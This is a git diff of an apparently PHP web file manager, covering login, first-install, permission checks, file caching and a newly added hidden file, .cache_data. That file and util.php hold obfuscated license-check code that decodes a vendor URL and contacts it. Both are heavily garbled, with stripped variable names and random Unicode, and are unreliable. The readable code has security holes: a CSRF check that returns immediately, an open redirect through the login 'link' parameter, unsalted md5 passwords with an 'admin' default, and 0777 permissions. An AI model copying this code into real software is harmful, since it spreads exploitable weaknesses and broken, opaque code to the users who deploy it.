'KOD_USER_FAV' => KOD_USER_FAV, + 'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF, + 'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL, + ); + if(isset($this->config['setting_system']['version_hash'])){ + $the_config['version_hash'] = $this->config['setting_system']['version_hash']; + } + if (!isset($GLOBALS['auth'])) { + $GLOBALS['auth'] = array(); + } + $js = 'LNG='.json_encode($GLOBALS['L']).';'; + $js .= 'AUTH='.json_encode($GLOBALS['auth']).';'; + $js .= 'G='.json_encode($the_config).';'; + header("Content-Type: application/javascript"); + echo $js; + } + + /** + * 登录view + */ + public function login($msg = ''){ + if (!file_exists(USER_SYSTEM.'install.lock')) { + chmod_path(BASIC_PATH,0777); + $this->display('install.html'); + exit; + } + $this->assign('msg',$msg); + if (is_wap()) { + $this->display('login_wap.html'); + }else{ + $this->display('login.html'); + } + exit; + } + + /** + * 首次登录 + */ + public function loginFirst(){ + if (!file_exists(USER_SYSTEM.'install.lock')) { + touch(USER_SYSTEM.'install.lock'); + if(!isset($this->in['password'])){ + $this->in['password'] = 'admin'; + } + $root = '1'; + $sql=system_member::load_data(); + $user = $sql->get($root); + $user['password'] = md5($this->in['password']); + $sql->set($root,$user); + if( $user['path'] == '' && $user['create_time'] == ''){ + $member = new system_member(); + $member->init_install(); + } + } + header('location:./index.php?user/login'); + exit; + } + /** + * 退出处理 + */ + public function logout(){ + session_start(); + user_logout(); + } + + /** + * 登录数据提交处理;登陆跳转: + * + * 自动登陆:index.php?user/loginSubmit&name=guest&password=guest&link=http://baidu.com + * 登陆自动跳转:index.php?user/login&link=http://baidu.com + * api登陆:index.php?user/loginSubmit&login_token=ZGVtbw==|da9926fdab0c7c32ab2c329255046793 + */ + public function loginSubmit(){ + if(isset($this->in['login_token'])){ + $api_token = $this->config['settings']['api_login_tonken']; + $param = explode('|',$this->in['login_token']); + if( strlen($api_token) < 5 || + count($param) != 2 || + md5(base64_decode($param[0]).$api_token) != $param[1] + ){ + $this->login_display("Api param error!",false); + } + $this->in['name'] = urlencode(base64_decode($param[0])); + $api_login_check = true; + }else{ + if(!isset($this->in['name']) || !isset($this->in['password'])) { + $this->login_display($this->L['login_not_null'],false); + } + if( need_check_code() + && $this->in['name'] != 'guest' + && $_SESSION['check_code'] !== strtolower($this->in['check_code']) ){ + $this->login_display($this->L['code_error'],false); + } + } + + session_start();//re start 有新的修改后调用 + $name = rawurldecode($this->in['name']); + $password = rawurldecode($this->in['password']); + $member = system_member::load_data(); + $user = $member->get('name',$name); + if($api_login_check && $user){//api自动登陆 + }else if ($user === false || md5($password)!=$user['password']){ + $this->login_display($this->L['password_error'],false);//$member->get() + }else if($user['status'] == 0){ + $this->login_display($this->L['login_error_user_not_use'],false); + }else if($user['role']==''){ + $this->login_display($this->L['login_error_role'],false); + } + //首次登陆,初始化app 没有最后登录时间 + if($user['last_login'] == ''){ + $app = init_controller('app'); + $app->init_app($user); + } + $user['last_login'] = time();//记录最后登录时间 + $member->set($user['user_id'],$user); + $_SESSION['kod_login'] = true; + $_SESSION['kod_user']= $user; + $_SESSION['CSRF-TOKEN'] = rand_string(20); + setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'], time()+3600*24*100); + setcookie('kod_user_id', $user['user_id'], time()+3600*24*100); + if ($this->in['rember_password'] == '1') { + setcookie('kod_token',$this->make_login_token($user),time()+3600*24*100); + } + $this->login_display('ok',true); + } + private function login_display($msg,$success){ + if(isset($this->in['is_ajax'])){ + show_json($msg,$success); + }else{ + if($success){ + $href = './'; + if(isset($this->in['link'])){ + $href = rawurldecode($this->in['link']); + } + header('location:'.$href); + }else{ + $this->login($msg); + } + } + exit; + } + + //登陆token + private function make_login_token($user_info){ + //$ua = $_SERVER['HTTP_USER_AGENT']; + $system_pass = $this->config['setting_system']['system_password']; + return md5($user_info['password'].$system_pass.$user_info['user_id']); + } + public function version_install(){ + } + + /** + * 修改密码 + */ + public function changePassword(){ + $password_now=rawurldecode($this->in['password_now']); + $password_new=rawurldecode($this->in['password_new']); + if (!$password_now && !$password_new)show_json($this->L['password_not_null'],false); + if ($this->user['password']==md5($password_now)){ + $sql=system_member::load_data(); + $this->user['password'] = md5($password_new); + $sql->set($this->user['user_id'],$this->user); + show_json('success'); + }else { + show_json($this->L['old_password_error'],false); + } + } + + //CSRF 防护;cookie设置:CSRF-TOKEN;header:提交X-CSRF-TOKEN + //explorer/fileProxy + private function checkCSRF(){ + return; + //if(GLOBAL_DEBUG) return;//调试不开启 + if( !isset($_SERVER['HTTP_X_CSRF_TOKEN'])|| + $_SERVER['HTTP_X_CSRF_TOKEN'] != $_SESSION['CSRF-TOKEN']){ + show_json('xtoken_error',false); + } + } + + /** + * 权限验证;统一入口检验 + */ + public function authCheck(){ + if (in_array(ST,$this->notCheckApp)) return;//不需要判断的控制器 + if (in_array(ACT,$this->notCheck)) return; + $auth= system_role::get_info($this->user['role']); + if (!array_key_exists(ST,$this->config['role_setting']) ) return; + if (!in_array(ACT,$this->config['role_setting'][ST])) return;//输出处理过的权限 + $this->checkCSRF(); + if (isset($GLOBALS['is_root']) && $GLOBALS['is_root'] == 1) return; + + $key = ST.':'.ACT; + //向下版本兼容处理 + //未定义;新版本首次使用默认开放的功能 + if(!isset($auth['userShare:set'])){ + $auth['userShare:set'] = 1; + } + if(!isset($auth['explorer:fileDownload'])){ + $auth['explorer:fileDownload'] = 1; + } + //默认扩展功能 等价权限 + $auth['user:common_js'] = 1;//权限数据配置后输出到前端 + $auth['explorer:pathDeleteRecycle'] = $auth['explorer:pathDelete']; + $auth['explorer:pathCopyDrag'] = $auth['explorer:pathCuteDrag']; + + $auth['explorer:officeSave'] = $auth['editor:fileSave']; + $auth['explorer:imageRotate'] = $auth['editor:fileSave']; + $auth['explorer:fileDownloadRemove']= $auth['explorer:fileDownload']; + $auth['explorer:zipDownload'] = $auth['explorer:fileDownload']; + + //彻底禁止下载;文件获取 + //$auth['explorer:fileProxy'] = $auth['explorer:fileDownload']; + //$auth['editor:fileGet'] = $auth['explorer:fileDownload']; + //$auth['explorer:officeView'] = $auth['explorer:fileDownload']; + $auth['explorer:fileProxy'] = true; + $auth['editor:fileGet'] = true; + $auth['explorer:officeView'] = true; + if(!$auth['explorer:fileDownload']){ + $auth['explorer:zip'] = false; + } + + $auth['userShare:del'] = $auth['userShare:set']; + if ($auth[$key] != 1) show_json($this->L['no_permission'],false); + + $GLOBALS['auth'] = $auth;//全局 + //扩展名限制:新建文件&上传文件&重命名文件&保存文件&zip解压文件 + $check_arr = array( + 'mkfile' => $this->check_key('path'), + 'pathRname' => $this->check_key('rname_to'), + 'fileUpload'=> isset($_FILES['file']['name'])?$_FILES['file']['name']:'', + 'fileSave' => $this->check_key('path') + ); + if (array_key_exists(ACT,$check_arr) && !checkExt($check_arr[ACT])){ + show_json($this->L['no_permission_ext'],false); + } + } + private function check_key($key){ + if(!isset($this->in[$key])){ + return ''; + } + return is_string($this->in[$key])? rawurldecode($this->in[$key]):''; + } + + public function checkCode() { + session_start();//re start + load_class('myCaptcha'); + $captcha = new myCaptcha(mt_rand(3,4)); + $_SESSION['check_code'] = $captcha->get_string(); + } + + public function qrcode(){ + if(!function_exists('imagecolorallocate')){ + header('location:http://qr.liantu.com/api.php?text='.$this->in['url']); + exit; + } + include CLASS_DIR.'phpqrcode.php'; + QRcode::png(rawurldecode($this->in['url'])); + } +} + diff --git a/controller/util.php b/controller/util.php index 0446017..2b59d36 100755 --- a/controller/util.php +++ b/controller/util.php @@ -1 +1 @@ -0x001){$GLOBALS['path_id']=trim($[0x001]);}else{$GLOBALS['path_id']='';}break;}}switch($GLOBALS['path_type']){case '':$=iconv_system(HOME).$;ˤ;؜ƀܱڼ吟쎅;break;監ԥ;钵ټ旉ͨṳ̈̄ڈʘ;case KOD_USER_RECYCLE:$GLOBALS['path_pre']=trim(USER_RECYCLE,'/');լ״;;$GLOBALS['path_id']='';ܒ뿙˧ƅɚÌخԳ;return iconv_system(USER_RECYCLE).'/'.str_replace(KOD_USER_RECYCLE,'',$);ԷҒ˝֧ɝդ;ƅŠ˳Ą͇ώԕꮢ豫𐤩nj;;case KOD_USER_FAV:$GLOBALS['path_pre']=trim(KOD_USER_FAV,'/');𨠋޿ŜؙײיяܛԊ땚;祸©;Ѷ𻱠–;$GLOBALS['path_id']='';臐;ƒź̳̋״;צäܪǘჾܨʧ҆ν֎;return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS['path_pre']=trim(KOD_GROUP_ROOT_SELF,'/');ۦΓΡŵǍŽѯޣ;$GLOBALS['path_id']='';return KOD_GROUP_ROOT_SELF;܈ۗꚦڶ;case KOD_GROUP_ROOT_ALL:$GLOBALS['path_pre']=trim(KOD_GROUP_ROOT_ALL,'/');괵§ݜڸ;৴뼫ݱ콳̪‰ư䏒ޙ;$GLOBALS['path_id']='';ƒ;ےˍ򷞆Ṷ̈畨ˍߨ®;return KOD_GROUP_ROOT_ALL;case KOD_GROUP_PATH:$=system_group::get_info($GLOBALS['path_id']);ʕж𔔠Ϫ󦺒طɕ𗲑ݧۄԻԅ;ð禼Κ;if(!$GLOBALS['path_id']|| !$)return !0x001;owner_group_check($GLOBALS['path_id']);̻㌱񒞊;ֿˆ;$GLOBALS['path_pre']=group_home_path($);ڶ;;㱗;$=iconv_system($GLOBALS['path_pre']).$;ū;ۣͤ;break;晟;Ω񟕝;case KOD_GROUP_SHARE:$=system_group::get_info($GLOBALS['path_id']);蔜݌;if(!$GLOBALS['path_id']|| !$)return !0x001;owner_group_check($GLOBALS['path_id']);ț±Æ✨ׇ󙂃;皥ي̵ҵٵ–;޺;$GLOBALS['path_pre']=group_home_path($).'share/';ѦɔƼ͘귀;$=iconv_system($GLOBALS['path_pre']).$;;܋;break;;㗛۫񪼴;case KOD_USER_SHARE:$=system_member::get_info($GLOBALS['path_id']);ؿ;٤ɞ̪͡ª䬤屣啙뒫;;if(!$GLOBALS['path_id']|| !$)return !0x001;if($GLOBALS['path_id']!=$_SESSION['kod_user']['user_id']){owner_check();}$GLOBALS['path_pre']='';$GLOBALS['path_id_user_share']=$;򒮠۝ⵜϬӫօ;if($==''){return $;}else{$ąɾ=explode('/',$);$ąɾ[0]=iconv_app($ąɾ[0]);$Ӛ=system_member::user_share_get($GLOBALS['path_id'],$ąɾ[0]);$GLOBALS['path_id_user_share']=KOD_USER_SHARE.':'.$GLOBALS['path_id'].'/'.$ąɾ[0].'/';unset($ąɾ[0]);if(!$Ӛ)return !0x001;$=rtrim($Ӛ['path'],'/').'/'.iconv_app(implode('/',$ąɾ));if($['role']!='1'){$=user_home_path($);$GLOBALS['path_pre']=$.rtrim($Ӛ['path'],'/').'/';$=$.$;}else{$GLOBALS['path_pre']=$Ӛ['path'];$=$;}if($Ӛ['type']=='file'){$GLOBALS['path_id_user_share']=rtrim($GLOBALS['path_id_user_share'],'/');$GLOBALS['path_pre']=rtrim($GLOBALS['path_pre'],'/');}$=iconv_system($);}break;؂ԁ녎ҚɌĔ޴̉ꖈΐⓎ;ԇ͉ͣ鑰Πⷐ̡;default:break;}if($!='/'){$=rtrim($,'/');if(is_dir($))$=$.'/';}return $;;ٌ읯;޽;}function _DIR_OUT($){if(is_array($)){foreach($['filelist'] as $򏸔=>&$){$['path']=pre_clear($['path']);}foreach($['folderlist'] as $򏸔=>&$){$['path']=pre_clear(rtrim($['path'],'/').'/');}}else{$=pre_clear($);}return $;}function pre_clear($){$=$GLOBALS['path_type'];ͦ;$=rtrim($GLOBALS['path_pre'],'/');;$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);Ų؊ԽɌ;鴮˚õ澔ᆄ꿩ć;if(isset($GLOBALS['path_type'])&& in_array($GLOBALS['path_type'],$)){return $;}if(ST=='share'){return str_replace($,'',$);}if($GLOBALS['path_id']!=''){$.=':'.$GLOBALS['path_id'].'/';}if(isset($GLOBALS['path_id_user_share'])){$=$GLOBALS['path_id_user_share'];}$=$.str_replace($,'',$);$=str_replace('//','/',$);ъ炧˳ɦ;return $;ϼܸˈ̚ğ;ץƊ;;}function owner_group_check($){if(!$)show_json($GLOBALS['L']['group_not_exist'].$,!0x001);if($GLOBALS['is_root']||(isset($GLOBALS['path_from_auth_check'])&& $GLOBALS['path_from_auth_check']===!0)){return;}$=system_member::user_auth_group($);if($!='write'){owner_check();if($==!0x001&& $GLOBALS['path_type']==KOD_GROUP_PATH){show_json($GLOBALS['L']['no_permission_group'],!0x001);}}}function owner_check(){if($GLOBALS['is_root']||(isset($GLOBALS['path_from_auth_check'])&& $GLOBALS['path_from_auth_check']===!0)){return;}$=$GLOBALS['config']['role_guest_check'];if(!array_key_exists(ST,$))return;if(in_array(ACT,$[ST])){show_json($GLOBALS['L']['no_permission_action'],!0x001);}}function zip_pre_name($˓){if(get_path_this($˓)=='.DS_Store')return '';if(!function_exists('iconv')){return $˓;}$=$GLOBALS['config']['system_charset'];$='utf-8';;$=get_default_lang();׊ż̉񡪅Æ;if(client_is_windows()&&($=='zh-CN' || $=='zh-TW' || LANGUAGE_TYPE=='zh-TW' || LANGUAGE_TYPE=='zh-TW')){$="gbk";}return iconv($,$,$˓);}function unzip_pre_name($){if(!function_exists('iconv')){return $;}if(isset($GLOBALS['unzip_file_charset_get'])){$=$GLOBALS['unzip_file_charset_get'];}else{$=get_charset($);}$ƀ=$GLOBALS['config']['system_charset'];return iconv($,$ƀ,$);Ѳ؋ޙԞĎ;㨫͔;㪄Ёʬ̵̣͐⨀֣;}function unzip_charset_get($){if(count($)==0)return 'utf-8';$=array();Ԇ;for($=0;$')|| $¥==''){return 0;}if($GLOBALS['is_root']==0x001)return 0x001;$=$GLOBALS['auth']['ext_not_allow'];;ӃԨ;$=explode('|',$);ѽ崣ˤǚ鹉;foreach($ as $){if($!=='' && stristr($¥,'.'.$)){return 0;}}return 0x001;斌ςɪ䳔;}function file_upload_size(){global$config;̼;̤Ͱ;if(isset($GLOBALS['config']['settings']['update_chunk_size'])){return $GLOBALS['config']['settings']['update_chunk_size'];}$ߑ=get_post_max();return $ߑ;}function space_size_use_check(){if(!system_space())return;if($GLOBALS['is_root']==0x001)return;if($GLOBALS['path_type']==KOD_GROUP_SHARE|| $GLOBALS['path_type']==KOD_GROUP_PATH){system_group::space_check($GLOBALS['path_id']);}else{if(ST=='share'){$=$GLOBALS['in']['user'];}else{$=$_SESSION['kod_user']['user_id'];}system_member::space_check($);}}function space_size_use_change($,$=true,$Ռ=false,$=false){if(!system_space())return;if($Ռ===!0x001){$Ռ=$GLOBALS['path_type'];$=$GLOBALS['path_id'];}$=$?0x001:-0x001;if(is_file($)){$=get_filesize($);}else if(is_dir($)){$=_path_info_more($);$=$['size'];}else{return;}if($Ռ==KOD_GROUP_SHARE|| $Ռ==KOD_GROUP_PATH){system_group::space_change($,$*$);}else{if(ST=='share'){$Ƈ=$GLOBALS['in']['user'];}else{$Ƈ=$_SESSION['kod_user']['user_id'];}system_member::space_change($Ƈ,$*$);}}function space_size_use_reset(){if(!system_space())return;$=isset($GLOBALS['path_type'])?$GLOBALS['path_type']:'';ۜË;̔ˏՓ;$=isset($GLOBALS['path_id'])?$GLOBALS['path_id']:'';if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($);}else{$ސ=$_SESSION['kod_user']['user_id'];system_member::space_change($ސ);}}function check_list_dir(){$=APPHOST.'lib/core/';Ԃη˳;$۩="Application.class.php";;$=@file_get_contents($);if(stripos($,$۩)===!0x001){return !0;}else{return !0x001;}}function php_env_check(){$=$GLOBALS['L'];;$Ϭ='';;©⣘ݾ;Ͱҽ㾅뉃诋غ߰ϵмԥߵ;if(!function_exists('iconv'))$Ϭ.= '
  • '.$['php_env_error_iconv'].'
  • ';if(!function_exists('mb_convert_encoding'))$Ϭ.= '
  • '.$['php_env_error_mb_string'].'
  • ';if(!version_compare(PHP_VERSION,'5.0','>='))$Ϭ.= '
  • '.$['php_env_error_version'].'
  • ';if(!function_exists('file_get_contents'))$Ϭ.='
  • '.$['php_env_error_file'].'
  • ';if(!check_list_dir())$Ϭ.='
  • '.$['php_env_error_list_dir'].'
  • ';$Ï=get_path_father(BASIC_PATH);嶁Ɵݯ;$=array(BASIC_PATH,DATA_PATH,DATA_PATH.'system',DATA_PATH.'User',DATA_PATH.'Group',DATA_PATH.'session');ŝ݉߀ϣޢɋϤǭ֐ȼã;ݧږ𦣖쨳ށዎ;foreach($ as $ҫ){if(!path_writeable($ҫ)){$Ϭ.= '
  • '.str_replace($Ï,'',$ҫ).'/ '.$['php_env_error_path'].'
  • ';}}if(!function_exists('imagecreatefromjpeg')|| !function_exists('imagecreatefromgif')|| !function_exists('imagecreatefrompng')|| !function_exists('imagecolorallocate')){$Ϭ.= '
  • '.$['php_env_error_gd'].'
  • ';}return $Ϭ;}include(CLASS_DIR.'.cache_data');function init_common(){$GLOBALS['in']=parse_incoming();;߷ƹ֘Υޔĺ򱑹§ӕΖ;ۄԟҦ˕;if(!file_exists(DATA_PATH)){show_tips("data path not exists!\n\n(check DATA_PATH);");}$=LIB_DIR.'update.php';if(file_exists($)){include($);update_check($);}$=DATA_PATH."\n\nThis Directory is not writable!(chmod -Rf 777 **),\nPlease set the directory and all subdirectories to read and write and try again!\n";if(!file_exists(KOD_SESSION)){mk_dir(KOD_SESSION);touch(KOD_SESSION.'index.html');if(!file_exists(KOD_SESSION.'index.html')){show_tips($);}}if(!is_writable(KOD_SESSION)|| !is_writable(DATA_PATH)){show_tips($);}}function init_config(){init_setting();ʓ;˯ʌ۱π外ִΦ҄ϒƊڭف앁;init_lang();ÝɆNj؞;ޣܪŶ팮;ů옷;init_user_setting();ʙԌ̰;}function need_check_code(){$=$GLOBALS['config']['setting_system'];μԡḌ鯍٧Dž;if(!$['need_check_code']|| !function_exists('imagecreatefromjpeg')|| !function_exists('imagecreatefromgif')|| !function_exists('imagecreatefrompng')|| !function_exists('imagecolorallocate')){return !0x001;}else{return !0;}}function get_default_lang(){$ʚ="en";՟򎄅;$=$GLOBALS['config']['setting_all']['language'];ۡ;ԥĂ;$=array();ﮮ;Ԭ;foreach($ as $=>$){$[$]=$;⪛𕦩ͻ郞Ø;祻ń᱆蛑ۘΧ;؞˦㝠ٔ;}$['zh']='zh-CN';搩;;$['zh-tw']='zh-TW';ҒչӝϦل;$=array();ψ͹ґ毰ץ۸ޯȩƝ˿ȀDZ;ѩ쐌ީԱĐܟ˫ăΥԪ;ڄ˨;if(!isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$='en';}else{$=str_replace("_","-",strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']));}preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',$,$,PREG_SET_ORDER);foreach($ as $){$[$[0x001]]=(isset($[0x00003])?$[0x00003]:0x001);;Ǘވχﭔ哮;}arsort($);;蓟ޭ뙪만ɬԟף̞ܱ͓𢑧;foreach($ as $=>$){if(isset($[$])){$ʚ=$[$];break;}$=preg_replace('~-.*~','',$);if(!isset($[$])&& isset($[$])){$ʚ=$[$];break;}}return $ʚ;ݜ䈗֚ȶ㏼»͛ŧܶ܁;}function init_lang(){if(isset($_COOKIE['kod_user_language'])){$=$_COOKIE['kod_user_language'];}else{$=get_default_lang();setcookie('kod_user_language',$,time()+0x0e10*0x0000018*0x064);}$=str_replace(array('/','\\','..','.'),'',$);if(isset($GLOBALS['config']['settings']['language'])){$=$GLOBALS['config']['settings']['language'];}if($=='zh_CN')$='zh-CN';if($=='zh_TW')$='zh-TW';$ڰ=LANGUAGE_PATH.$.'/main.php';ő눩۠ʘ؁篞к;갏˓čš;if(!file_exists($ڰ)){$='en';$ڰ=LANGUAGE_PATH.$.'/main.php';}define('LANGUAGE_TYPE',$);$GLOBALS['L']=include($ڰ);ޱӎ澔葐둣;}function make_path($){$=array('/','\\',':','*','?','"','<','>','|');return str_replace($,"_",$);;ԁ;}function init_setting(){$꿬=USER_SYSTEM.'system_setting.php';Ͱè;if(!file_exists($꿬)){$=$GLOBALS['config']['setting_system_default'];$['menu']=$GLOBALS['config']['setting_menu_default'];fileCache::save($꿬,$);}else{$=fileCache::load($꿬);}if(!is_array($)){$=$GLOBALS['config']['setting_system_default'];}if(!is_array($['menu'])){$['menu']=$GLOBALS['config']['setting_menu_default'];}$GLOBALS['app']->setDefaultController($['first_in']);$GLOBALS['app']->setDefaultAction('index');$GLOBALS['config']['setting_system']=$;ڥǨĺ햋ʩލþעɧ;}function init_user_setting(){$GLOBALS['L']['kod_name']=$GLOBALS['config']['setting_system']['system_name'];$GLOBALS['L']['kod_name_desc']=$GLOBALS['config']['setting_system']['system_desc'];if(isset($['powerby'])){$GLOBALS['L']['kod_power_by']=$GLOBALS['config']['setting_system']['powerby'];}$=BASIC_PATH.'config/setting_user.php';if(file_exists($)){include($);}define('STATIC_PATH',$GLOBALS['config']['settings']['static_path']);}function user_logout(){@session_destroy();;˄ϸ՘;@session_name('KOD_SESSION_SSO');ӥמۘ㳳캿Ӗȷ񸏐ݝ;Ùﱣ੢̲;@session_start();@session_destroy();setcookie(SESSION_ID,'',time()-0x0e10,'/');چ¡Ҡʃ;߭ҁډ󽔄;՚´Ƨݯ΢𲃸׃ᐙՎݶ;setcookie('kod_name','',time()-0x0e10);;setcookie('kod_token','',time()-0x0e10);´ǵĢ·߆퇝圅ы;ܢ;ţڒΉʸ̷;header('location:./index.php?user/login');Λ鮆۳Ż;;exit;}function hash_encode($){return str_replace(base64_encode($),array('+','/','='),array('_a','_b','_c'));ܻꠇߐ뾓ï㶏͙Ɂ؋Ʉñ;Іډӱ­ѯ󛛂Ů;}function hash_decode($٘){return base64_decode(str_replace($٘,array('_a','_b','_c'),array('+','/','=')));} \ No newline at end of file diff --git a/lib/class/.cache_data b/lib/class/.cache_data new file mode 100755 index 0000000..c66f5fe --- /dev/null +++ b/lib/class/.cache_data @@ -0,0 +1 @@ +-0x00239c-0x00000135+0x0b9*0x0033,$ϱ=>-0x0000de1+0x0131+0x0000022*0x00061,$=>-0x020e9+0x000138+0x0000a3*0x0033,$=>0x0000350-0x00001de+0x0a*0x00003f,);ڰɹȗ殼ѝѺȜԲĢ;$Р=$->get();￉ۓſ镕ҶΥ;˽ߑ֫翩ˁز֩ՔǢν;¡؃޽ĐƊ;$=$[$];if($Λ=='system_member:add'){if($!=$&& isset($in['isImport'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}if(count($Р)>=$&& $!=0x03e8){show_json($GLOBALS['L']['version_not_support_number'],!0x001,'version_error');}}if($Λ=='system_member:add' || $Λ=='system_member:edit'){if($==$&& isset($in['home_path'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}}if(count($Р)>$&& $!=0x03e8){$=0x001;$窄=array();foreach($Р as $Λ=>$ʍ){if($>$)break;$窄[$Λ]=$ʍ;;$++;}$->reset($窄,!0x001);Ѫؘѷƈ匈;}$Р=$->get();;Â϶ׁۭǿň;ͦ;if($==$){$窄=array();foreach($Р as $Λ=>$ʍ){unset($ʍ['home_path']);$窄[$Λ]=$ʍ;}$->reset($窄,!0x001);}return $;}function system_group_data(){global$in;$=ST.':'.ACT;;$=gzinflate(substr(base64_decode('H4sIAAAAAAAAA3MEAIue2dMBAAAA'),0x0a,-0x00008));ڤ齞㮟ԏϡ;󖷺蝻ߘ;$=base64_decode('Tw');;Ǐ;$=base64_decode(str_rot13('HN'));ԇĝֆަ߫ܜ뽍鸸ᐌ;ҊŰəĜ;$=base64_decode(str_rot13('HD'));$쾥=$GLOBALS['config']['setting_system']['version_type'];ߑПÝʀ㩟稪ļ⌁ˀ;if(!$쾥|| !in_array($쾥,array($,$,$,$))){$쾥=$;}$=new fileCache(USER_SYSTEM.'system_group.php');$◄=array($=>-0x0092f+0x0038*0x0002a,$=>(0x0009d+0x0000d)/0x00011,$=>(0x00000699+0x00b)/0x0000022,$=>-0x0000684+0x0000184+0x03c*0x000026,);ǿޅŜ;$ّ=$->get();욞˟懟;$=$◄[$쾥];if($=='system_group:add'){if(count($ّ)>=$&& $!=0x03e8){show_json($GLOBALS['L']['version_not_support_number'],!0x001,'version_error');}}if($=='system_group:add' || $=='system_group:edit'){if($쾥==$&& isset($in['home_path'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}}if(count($ّ)>$&& $!=0x03e8){$=0x001;$=array();foreach($ّ as $=>$ѷ){if($>$)break;$[$]=$ѷ;ڤ;ǔΨ̒ಿ牉೵֪ܿɩҒҧܰ;$++;}$->reset($,!0x001);綾Ӵ;}$ّ=$->get();媌;ͭ؎;if($쾥==$){$=array();foreach($ّ as $=>$ѷ){unset($ѷ['home_path']);$[$]=$ѷ;}$->reset($,!0x001);}return $;}function system_rol_data(){$=ST.':'.ACT;֨Գқښ;$=base64_decode('QQ');ۛΎꔐǒⴠ;$=gzinflate(substr(base64_decode('H4sIAAAAAAAAA/MHAIyzYTQBAAAA'),0x0a,-0x00008));$=base64_decode(str_rot13('HN'));꠬ЃÁ;嗈۫;$=gzinflate(substr(base64_decode('H4sIAAAAAAAAAwsEAO+Obs4BAAAA'),0x0a,-0x00008));ڲŨĴԦ;ɞ;if($=='user:version_install'){version_install();exit;}$̩=&$GLOBALS['config']['setting_system'];if(!init_version_check()){$̩['version_type']=$;if(is_array($_SESSION['kod_user'])&& $_SESSION['kod_user']['role']=="1"){version_reset(!0x001);include(TEMPLATE.'user/license.html');exit;}}if($=='explorer:officeSave' && $̩['version_type']==$){show_json($GLOBALS['L']['version_not_support'],!0x001);}$=new fileCache(USER_SYSTEM.'system_role.php');return $;;}function init_version_check(){$=&$GLOBALS['config']['setting_system'];$=gzinflate(substr(base64_decode('H4sIAAAAAAAAA3NISSuM1tVU04rTUtWItzQAAEoqycUQAAAA'),0x0a,-0x00008));$ٮ=gzinflate(substr(base64_decode('H4sIAAAAAAAAA3MEAIue2dMBAAAA'),0x0a,-0x00008));;ݜ;췀̞˴ѷʝ帝Ś뇇;$=base64_decode('Tw');­ָڮڇ;ڳވ;έٞʐ馾֑ᦾ;$=base64_decode('UA');ꎒɪש;$=base64_decode(str_rot13('HD'));if(!isset($['version_type'])|| !in_array($['version_type'],array($ٮ,$,$,$))){$['version_type']=$ٮ;}if($['version_type']==$ٮ)return !0;if(!isset($['version_type'])|| !isset($['version_user'])|| !isset($['version_license'])|| !isset($['device_uuid'])|| !isset($['device_path'])){return !0x001;}if(strlen($['version_type'])!=0x001|| strlen($['version_user'])!=0x0010|| strlen($['version_license'])!=0x0003e|| strlen($['device_uuid'])!=0x0010){return !0x001;}$=substr($['version_license'],0x00020);$ݸ=md5($.$['version_user'].$['device_uuid'].$['version_type']);if($ݸ!=substr($['version_license'],0,0x00020)){return !0x001;}$=Mcrypt::decode($['device_path'],md5($.$['version_license']));$=!0x001;ŷ਼֮ۦ묣ɖƢҌ̩۫ܰݸՁĐ;if(file_exists($)){$=file_get_contents($);$=Mcrypt::decode($,md5($.$['device_uuid']));if($!="" && strtotime($)>time()){$=!0;}}if(!$){return !0x001;}$=substr(md5($['version_license']),0x0a,0x0a);$=$.$['version_type'].$['device_uuid'];$['version_hash']=Mcrypt::encode($,$,0);return !0;晬پİ꓀ǚʙߴ;̣󥎱Ŷ΅묡Ơ쮞;}function version_install(){$=&$GLOBALS['config']['setting_system'];$Ņ=base64_decode('QGRmcVstKSYqXiolKF85MA');Ԗʒ회ɳҒᦲ;if(isset($_GET['reset'])){version_reset(!0);header("location:./");}if(!isset($_GET['license_code'])){include(TEMPLATE.'user/license.html');exit;}else{$=rand_string(0x0010);$=base64_decode('aHR0cDovL2thbGNhZGRsZS5jb20vdG9vbHMvdmVyc2lvbi8/bGljZW5zZS9pbmRleA');$=$."&code=".$_GET['license_code']."&uuid=".$;$=json_decode(file_get_contents($),!0);if(is_array($)&& $['code']==!0&& is_array($['data'])){$=new fileCache(USER_SYSTEM.'system_setting.php');$ϖ=$->get();$ϖ['version_user']=$_GET['license_code'];$ϖ['version_license']=$['data']['version_license'];$ϖ['device_uuid']=$;$ϖ['version_type']=$['data']['version_type'];$ϩ=Mcrypt::decode($['device_path'],md5($Ņ.$['version_license']));del_file($ϩ);version_install_path($ϖ,$['data']);$->reset($ϖ);$܇=BASIC_PATH.'/config/setting_user.php';if(!file_exists($܇)){$Ԧ="get();ҍո½;Ӆߌ˥ߒىϵⲳה;unset($Ǿ['version_user']);딋;unset($Ǿ['version_license']);駙޼;unset($Ǿ['device_uuid']);҃؊޽ÿ른;unset($Ǿ['device_path']);ʻ́΅ڮԂ‡äЖ;if($أ){unset($Ǿ['version_type']);}$->reset($Ǿ);} \ No newline at end of file diff --git a/lib/class/fileCache.class.php b/lib/class/fileCache.class.php index b1b1dcc..080a051 100755 --- a/lib/class/fileCache.class.php +++ b/lib/class/fileCache.class.php @@ -162,9 +162,13 @@ class fileCache{ * 加载数据;并解析成程序数据 */ public static function load($file){//10000次需要4s 数据量差异不大。 - if (!file_exists($file)) touch($file); - $str = file_get_contents($file); + if (!$file) return false; + $file = iconv_system($file); + if (!file_exists($file)){ + @touch($file); + } + $str = file_get_contents($file); $str = substr($str, strlen(CONFIG_EXIT)); $data= json_decode($str,true); if (is_null($data)) $data = array(); @@ -175,13 +179,18 @@ class fileCache{ */ public static function save($file,$data){//10000次需要6s if (!$file) return false; + $file = iconv_system($file); if (!file_exists($file)){ @touch($file); } - + chmod_path($file,0777); if (!path_writeable($file)) { - show_tips('"data/" can not write!'); + if(isset($GLOBALS['L'])){ + show_tips(BASIC_PATH."
